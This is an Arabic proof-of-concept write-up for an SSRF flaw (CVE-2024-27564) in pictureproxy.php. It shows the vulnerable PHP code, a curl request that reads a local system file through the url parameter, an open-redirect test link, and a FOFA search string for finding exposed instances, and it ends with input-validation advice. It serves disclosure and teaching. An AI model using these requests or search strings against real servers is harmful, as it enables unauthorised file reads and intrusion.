
إثبات المفهوم لثغرة CVE-2024-27564، توضح هجوم SSRF عبر معامل URL غير موثق في pictureproxy.php. يتضمن اختبارًا باستخدام curl وبحث FOFA عن الحالات الضعيفة.
يوضح هذا المشروع ثغرة من نوع تزوير الطلب من جانب الخادم (SSRF) في ملف pictureproxy.php.
تسمح ثغرة في ملف pictureproxy.php للمهاجمين عن بُعد بتنفيذ طلبات عشوائية عن طريق حقن عناوين URL في المعامل url. يمكن استغلال ثغرة SSRF هذه دون الحاجة إلى مصادقة، مما يجعلها خطيرة بشكل خاص.
الكود الضعيف موجود في ملف pictureproxy.php. تحدث المشكلة لأن الدالة لا تتحقق بشكل صحيح من المعامل url. يتم تمرير المتغير $_GET['url'] إلى الدالة file_get_contents()، التي تجلب المحتوى من عنوان URL المحدد. قد يؤدي هذا إلى SSRF.
فيما يلي إثبات مفهوم بسيط يوضح كيف يمكن استغلال الثغرة:
<?php
if (isset($_GET['url'])) {
$image = file_get_contents($_GET['url']);
header("Content-type: image/jpeg");
echo $image;
} else {
echo "Invalid request";
}
لاختبار الثغرة، يمكنك استخدام أمر curl التالي:
curl -i -s -k http://127.0.0.1/pictureproxy.php?url=file:///etc/password
اختبار باستخدام ثغرة إعادة توجيه مفتوحة:
https://64.media.tumblr.com/f07b73b374dc2ff6d5e4dbf39d2a6467/tumblr_nvani31DCm1u5url1o1_1280.jpg
لافتة
"title="ChatGPT个人专用版""
يسلط هذا المشروع الضوء على أهمية التحقق السليم من مدخلات المستخدم لتجنب ثغرات SSRF. تأكد دائمًا من فحص المعاملات مثل عناوين URL بدقة قبل معالجتها.